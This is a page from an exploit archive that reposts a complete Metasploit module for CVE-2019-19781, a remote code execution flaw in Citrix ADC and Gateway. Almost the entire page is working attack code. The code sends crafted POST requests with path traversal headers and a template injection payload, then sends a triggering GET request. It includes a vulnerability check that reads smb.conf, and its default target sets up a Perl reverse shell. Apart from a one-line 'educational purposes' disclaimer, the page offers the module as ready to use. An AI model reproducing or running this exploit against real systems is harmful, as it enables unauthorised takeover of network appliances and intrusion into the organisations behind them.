Citrix application delivery controller and gateway 10.5 remote code execution (metasploit) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2020-01-13 | Type : webapps | Platform : multiple
This exploit / vulnerability Citrix application delivery controller and gateway 10.5 remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix ADC Remote Code Execution',
'Description' => %q(
An issue was discovered in Citrix Application Delivery Controller (ADC)
and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
),
'Author' => [
'RAMELLA Sébastien' # https://www.pirates.re/
],
'References' => [
['CVE', '2019-19781'],
['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],
['EDB', '47901'],
['EDB', '47902']
],
'DisclosureDate' => '2019-12-17',
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl meterpreter'
}
},
'Targets' => [
['Unix (remote shell)',
'Type' => :cmd_shell,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl',
'DisablePayloadHandler' => 'false'
}
],
['Unix (command-line)',
'Type' => :cmd_generic,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => 'true'
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
OptAddress.new('RHOST', [true, 'The target address'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])

deregister_options('RHOSTS')
end

def execute_command(command, opts = {})
filename = Rex::Text.rand_text_alpha(16)
nonce = Rex::Text.rand_text_alpha(6)

request = {
'method' => 'POST',
'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),
'headers' => {
'NSC_USER' => '../../../netscaler/portal/templates/' + filename,
'NSC_NONCE' => nonce
},
'vars_post' => {
'url' => 'http://127.0.0.1',
'title' => "[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]",
'desc' => 'desc',
'UI_inuse' => 'RfWeb'
},
'encode_params' => false
}

begin
received = send_request_cgi(request)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end
return false unless received

if received.code == 200
vprint_status("#{received.get_html_document.text}")
sleep 2

request = {
'method' => 'GET',
'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),
'headers' => {
'NSC_USER' => nonce,
'NSC_NONCE' => nonce
}
}

## Trigger to gain exploitation.
begin
send_request_cgi(request)
received = send_request_cgi(request)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end
return false unless received
return received
end

return false
end

def get_chr_payload(command)
chr_payload = command
i = chr_payload.length

output = ""
chr_payload.each_char do | c |
i = i - 1
output << "chr(" << c.ord.to_s << ")"
if i != 0
output << " . "
end
end

return output
end

def check
begin
received = send_request_cgi(
"method" => "GET",
"uri" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')
)
rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
print_error('Unable to connect on the remote target.')
end

if received && received.code != 200
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end

def exploit
unless check.eql? Exploit::CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
end
else
print_good('The target appears to be vulnerable.')
end

case target['Type']
when :cmd_generic
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

received = execute_command(payload.encoded)
if (received) && (datastore['PAYLOAD'] == "cmd/unix/generic")
print_warning('Dumping command output in parsed http response')
print_good("#{received.get_html_document.text}")
else
print_warning('Empty response, no command output')
return
end

when :cmd_shell
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

execute_command(payload.encoded)
end
end

end